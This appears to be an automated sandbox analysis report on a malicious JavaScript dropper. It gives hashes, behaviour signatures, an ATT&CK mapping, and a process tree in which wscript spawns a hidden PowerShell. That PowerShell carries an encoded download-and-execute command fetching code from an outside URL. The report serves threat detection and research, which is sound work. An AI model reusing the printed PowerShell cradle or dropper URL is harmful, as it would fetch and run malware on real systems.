d65b888593e6b97cbc3bb63117250e2860c1dc99de3d5f92e6b0a18541d3629a

General

Target
2021APT-28_47514453.js
Size 92KB
Sample210729-5p5kh3vmra
SHA256 449034f3b01b8ec7621d7923357cc4e36e7b9a71aa3142c8012e9117da020a0f
MD5 3b8c1936be40869f8504d37ba6279814
SHA1 58b429a48b211a722ae55eb7af848e12f2f5f70e
SHA512 41f8666a8890a0abd6fb57678a70fa34014c396850aa35ae7b64c1d9f1394cc389e89f090f1e95b6584fc6b7bb16bb44deb807d7f979cd2ee38a5b9261956a4c
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

ps1.dropper
http://smart-integrator.hr/pornhub.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	4032	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2132	4032	WerFault.exe	78

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
4032	powershell.exe
4032	powershell.exe
4032	powershell.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe
2132	WerFault.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeDebugPrivilege	2132	WerFault.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 508 wrote to memory of 3024	508	wscript.exe	76
PID 508 wrote to memory of 3024	508	wscript.exe	76
PID 3024 wrote to memory of 4032	3024	cmd.exe	78
PID 3024 wrote to memory of 4032	3024	cmd.exe	78

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\2021APT-28_47514453.js
1⤵
- Suspicious use of WriteProcessMemory
PID:508
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3024
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AcwBtAGEAcgB0AC0AaQBuAHQAZQBnAHIAYQB0AG8AcgAuAGgAcgAvAHAAbwByAG4AaAB1AGIALgBwAGgAcAAiACkA
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4032
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 4032 -s 2336
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2132

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/4032-121-0x000001EC5E6A0000-0x000001EC5E6A1000-memory.dmp

Download

memory/4032-124-0x000001EC5C520000-0x000001EC5C522000-memory.dmp

Download

memory/4032-125-0x000001EC5C523000-0x000001EC5C525000-memory.dmp

Download

memory/4032-130-0x000001EC5E850000-0x000001EC5E851000-memory.dmp

Download

memory/4032-143-0x000001EC5C526000-0x000001EC5C528000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads